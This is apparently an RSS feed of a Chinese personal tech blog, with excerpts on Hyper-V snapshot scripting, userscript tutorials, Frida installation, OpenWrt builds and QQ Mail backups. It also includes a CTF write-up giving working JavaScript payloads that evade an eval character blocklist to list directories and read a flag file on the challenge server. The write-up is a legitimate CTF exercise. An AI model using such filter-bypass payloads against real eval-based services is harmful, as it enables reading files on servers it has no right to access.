Chr_小屋 - 正文
type: channel
link: https://blog.chrxw.com/tag/正文/
items: Hyper-V 定时创建快照脚本
items: 【Xposed开发笔记】 去除NGA客户端开屏广告
items: 【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
items: PIP安装Frida失败的解决方法
items: 使用GitHub Action自动编译OpenWrt固件
items: 分享一道CTF题 jsjail 题解
items: 油猴脚本不求人！零基础油猴脚本编写指南
items: 使用QQ邮箱备份文件

Hyper-V 定时创建快照脚本
type: item
date: 2024-01-10T11:30:42+08:00
description: 前言 最近拿闲置电脑装了个Win11作为NAS使用，感觉Windows NAS也没有那么不堪用了，顺便使用Windows自带的Hyper-V作为虚拟机平台使用，对比Proxmox和ESXi，能用，但又不是很好用，甚至没有自动化创建快照的功能，好在PowerShell提供了接口，就写个脚本完成定时创建快照 脚本正文 $isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) # 如果不是管理员，以管理员身份重新运行脚本 if (-not $isAdmin) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs Exit } # 此处放置你的脚本的其余部分 Write-Output "脚本以管理员身份运行" # 保留的最大快照数量 $maxSnapshots = 14 # 获取所有虚拟机的名称 $vms = Get-VM foreach ($vm in $vms) { Write-Output "为虚拟机 $($vm.Name) 创建定时快照" $datetime = Get-Date -Format 'yyyy-MM-dd tt hh:mm:ss' # 创建快照 Checkpoint-VM -VM $vm -SnapshotName "定时快照 ($datetime)" # 获取所有快照 $snapshots = Get-VMSnapshot -VM $vm | Where-Object { $_.Name -like '定时快照*' } Write-Output "共有 $($snapshots.Count) 个定时快照" # 如果快照数量超过限制，则删除较旧的快照 if ($snapshots.Count -gt $maxSnapshots) { $snapshotsToDelete = $snapshots | Sort-Object CreationTime | Select-Object -First ($snapshots.Count - $maxSnapshots) foreach ($snapshot in $snapshotsToDelete) { Write-Output "删除快照 $($snapshot.Name)" Remove-VMSnapshot -VM $vm -Name $snapshot.Name } } } 记得用 UTF8-with-BOM 编码保存，否则脚本中的中文会乱码 添加定时任务 如果没有设置过脚本执行策略的话Windows默认禁止执行脚本，用命令改成允许本地脚本执行，远程脚本需要签名才能执行 Set-ExecutionPolicy RemoteSigned 然后在任务计划程序(taskschd.msc)中添加新的任务 操作Hyper-V需要提权，一定要勾选使用最高权限运行 触发器就是什么时间执行任务，按需设置，我这里设的是一天备份两次 操作就是执行的动作，添加一条启动程序的操作，程序或脚本填powershell -File 脚本文件路径 保存需要输入当前的账户密码，然后在右侧菜单手动执行一下任务 如果一切正常就可以在Hyper-V管理器中看见脚本创建的快照了

【Xposed开发笔记】 去除NGA客户端开屏广告
type: item
date: 2023-01-19T22:42:00+08:00
description: 前言 消失大半年，其中一个原因是工作了，大部分时间在给公司做开发，业余时间在写外包赚米，另一个原因就是拖延症犯了，越拖越想拖 过年放了半个月假，稍微有点时间做点自己一直以来就很想做的事——给NGA去广告，当然，JS教程也会安排上的 [...]

【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
type: item
date: 2022-08-17T00:00:00+08:00
description: P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关…

PIP安装Frida失败的解决方法
type: item
date: 2022-05-01T17:06:46+08:00
description: 前言 这几天重操旧业开始日某个APP，Frida已经更新到15了，更新的时候遇到了一些问题 正文 直接 pip install frida 会报错，错误如图 其实就是需要手动下载一个egg包放在用户目录即可，可以在PyPI上下载到 可是没有预编译的适用于Python3.9的egg包，只好自己编译了 下载最上面的 Source Distribution 源码包，解压以后手动编译 # 构建 python setup.py build # 编译egg包 python setup.py bdist_egg 然后又报错了…… 这里出错是因为参数path是二进制字符串而不是普通的字符串，需要做一个decode操作转成普通字符串即可 在setup.py第191行加上.decode('utf-8')即可 改完就可以顺利编译了，编译好的egg文件在dist目录下，把这个文件拷到用户根目录，比如C:\Users\chr11 然后用pip安装即可 pip install frida frida-tools 然后就可以愉快地hook了

使用GitHub Action自动编译OpenWrt固件
type: item
date: 2022-01-28T22:06:00+08:00
description: 前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库…

分享一道CTF题 jsjail 题解
type: item
date: 2021-10-23T19:03:00+08:00
description: 前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了

油猴脚本不求人！零基础油猴脚本编写指南
type: item
date: 2021-02-08T22:57:00+08:00
description: 前言 本文首发于我的博客和其乐论坛，未经授权禁止转载 本文全程使用原生JavaScript进行编程，不使用像jQuery这样的第三方库 视频链接 零基础油猴脚本编写指南【上】 （对应0x01~0x05） 0x00 前置知识 本节简单的介绍一下一些名词的概念，了解为主，直接跳过也是可以的 HTML、CSS和JS HTML即超文本标记语言，它用来描述各种网页元素，类似与一份清单，浏览器读取以后根据它来加载对应的资源 CSS即层叠样式表，它只用来描述网页元素的外观，还可以添加少许动画，但是不影响功能 JS即JavaScript，它是一种网页脚本语言，用来让静态的网页能够响应各种动作，还可以挖矿 如果把HTML比作木偶，那么CSS就是木偶的衣服，JS就是木偶的提线，用来操控木偶 油猴和浏览器 当你访问链接的时候，浏览器会先下载链接对应的文件（通常是一个HTML文件），然后根据HTML描述的对象列表，来下载图片、视频等资源，有的CSS和JS内嵌在HTML文件里，有的则是单独的文件，等必要的资源加载完成以后，浏览器才能生成可以交互的网页 油猴实际上是一个加载器，它把用户脚本安插在最开始获取到的HTML文件中，这样浏览器加载网页的时候，也会加载特定的用户脚本，这样我们就能够通过编写用户脚本来修改网页了 HTML5和DOM HTML5是现行的HTML标准，DOM即文档对象模型，是一用对象表示HTML标签的方法，通过DOM，我们可以简单的修改文档对象的属性，来轻松修改HTML标签的内容 0x01 初识开发者工具 工欲善其事必先利其器，本节简单的介绍一下开发者工具的使用。 本节以我的博客作为演示，地址：chrxw.com 个人比较喜欢Firefox的开发者工具，以下介绍均使用Firefox进行演示，如果使用Chrome的话可能布局会有细微差异，不过功能是类似的。 Chrome自带的开发者工具貌似没有汉化，建议使用别的Chromium内核的浏览器（比如新版Edge），功能都差不多。 在浏览器中按F12即可打开开发者工具 查看器，左侧可以查看页面的HTML内容，右侧显示的是选中的DOM元素的CSS 控制台，可以运行自己编写的JS代码。 也可以在设置里打开“分离式控制台”，这样就可以在所有TAB里都显示控制台了。 调试器，可以用来单步调试JS 网络，可以查看浏览器的网络请求 储存，在这个TAB中可以查看网站在本地保存的内容，最常用的是Cookie，其次是LocalStorge（本地储存），还有个由浏览器自动管理的Session（会话储存），JS可以访问的只有Cookie和LocalStorge。 0x02 初识DOM 本节通过使用开发者工具，简单的演示一下如何操作DOM元素，以我的博客作为演示，地址：chrxw.com 首先打开开发者工具，然后激活选择器，然后点击“标题”，这样在右边的查看器中就会显示我们点击的对象 右键高亮的元素，然后点击“在控制台使用”（如果是Chromium或者Chrome，点击“复制”/“Copy”->“复制JS路径”/“Copy JS path”，然后把复制结果粘贴到控制台中） Firefox自动创建了一个temp0变量，按一下回车，可以看到控制台输出了一个DOM元素，点一下左边的箭头展开，可以看到这个对象的各种属性。 接下来我们尝试修改一下它的内容 temp0.textContent = 'hello world'; 按回车执行，然后可以看到，网页的标题已经被修改了 接着我们修改一下CSS，让它居中显示 temp0.style.textAlign='center'; 接下来我们创建一个新的DOM元素，然后插入到网页中 let btn = document.createElement('button'); btn.textContent = '按钮'; btn.addEventListener('click',() => { alert('hello world'); }); temp0.appendChild(btn); 点一下新出现的按钮，可以看到消息弹窗 代码讲解： PS： document 也是DOM元素，它代表整个网页，其他DOM元素都是它的子集。 let btn = document.createElement('button'); btn.textContent = '按钮'; 这两行代码创建了一个button对象，它内部的文本为按钮，由浏览器自动生成的HTML表达式为 按钮 btn.addEventListener('click',() => { alert('hello world'); }); 这三行代码为btn对象添加了事件监听器，addEventListener的第一个参数是事件监听器的名称，第二个参数…

使用QQ邮箱备份文件
type: item
date: 2020-03-15T10:13:00+08:00
description: 前言 我是QQ邮箱的老用户了，QQ邮箱很早就有“无限空间”的服务，我用到现在才用了700MB左右的空间，前几天看到知乎有人尝试过用QQ邮箱备份文件，就花了点时间自己实现了一个。 开整 一些链接 源码：GitHub QQ邮箱的限制 QQ邮箱写明的限制： 普通邮件的附件最大为50M，邮件正文+普通附件最大为55M。 一个账号一天内发送的普通附件上限200M。 QQ邮箱可存储邮件的数量是500000封。 QQ邮箱没有写明的限制： 一个账号一天能接收的附件上限约为300M。 可知QQ邮箱理论容量上限约为 50000 * 55MB ≈ 26.2TB，不过也很难用完就是了。 文件处理 因为有附件总大小不50MB的限制，所以有必要做一个文件切割，分包的工作。 生成文件列表 def sort_file_list(dir_path: list) -> list: '''根据目录生成文件列表，并按照文件尺寸从大到小的顺序排序 参数： 目录路径 返回： 排过序的目录列表，每个元素为[(文件名,文件路径,文件尺寸),] ''' try: files = [] with Path(dir_path) as p: for x in p.iterdir(): # 只处理文件 if x.is_file(): file_path = str(PurePath(dir_path, x.name)) file_size = x.stat().st_size files.append((file_path, x.name, file_size)) files.sort(key=lambda x: x[2], reverse=True) except FileNotFoundError: print(f'**目录[{dir_path}]不存在**') return(files) 文件切分、分组 def group_file_by_size(file_list: list, max_size: int = 50331648, min_size: int = 1048576) -> (list, list): '''把文件切分、打包成合适的大小 参数： 有序文件列表(需要先按照文件尺寸排序(sort_file_list)) 文件组的最大大小(字节) 文件切片的最小大小(字节)(防止出现非常小的切片) 返回： 文件信息列表,[(文件名,路径,总文件块数,总大小),] 文件块列表,[(文件名,索引,文件块数,起始字节,读取字节),] ''' file_info = [] # 记录文件名，路径，文件切片数(不切片为0) group_list = [] # 记录文件分组(文件名,起始,大小,尺寸) group = [] # 文件组变量 used_size = 0 # 已用空间 while len(file_list): # 三个状态： # 空的组，pop第一个文件，切分塞入 # 组非空，找到最适合的文件塞入 # 组非空，找不到适合的文件，关闭组，开启下一组。 if used_size == 0: # 新的附件空间 free_size = max_size # 取出一个文件 file_path, file_name, file_size = file_list.pop(0) f_size = file_size piece = 0 # 文件块数数(0=不切割) start = 0 # 文件首字节 size = 0 # 文件结束字节 while file_size > 0: if file_size >= max_size: # 文件剩余部分大于等于空闲空间 file_size -= max_size size = max_size piece += 1 used_size = 0 group_list.append( #[(f'{file_name}.[{piece}]', start, size)] [(file_name, len(file_info), piece, start, size)] ) start += max_size else: # 文件剩余部分小于空闲空间 size = file_size if piece: piece += 1 used_size = file_size file_size = 0 # 开始一个文件组 group = [ #(f'{file_name}{f".[{piece}]" if piece else None}', start, size) (file_name, len(file_info), piece, start, size) ] file_info.append((file_name, file_path, piece,…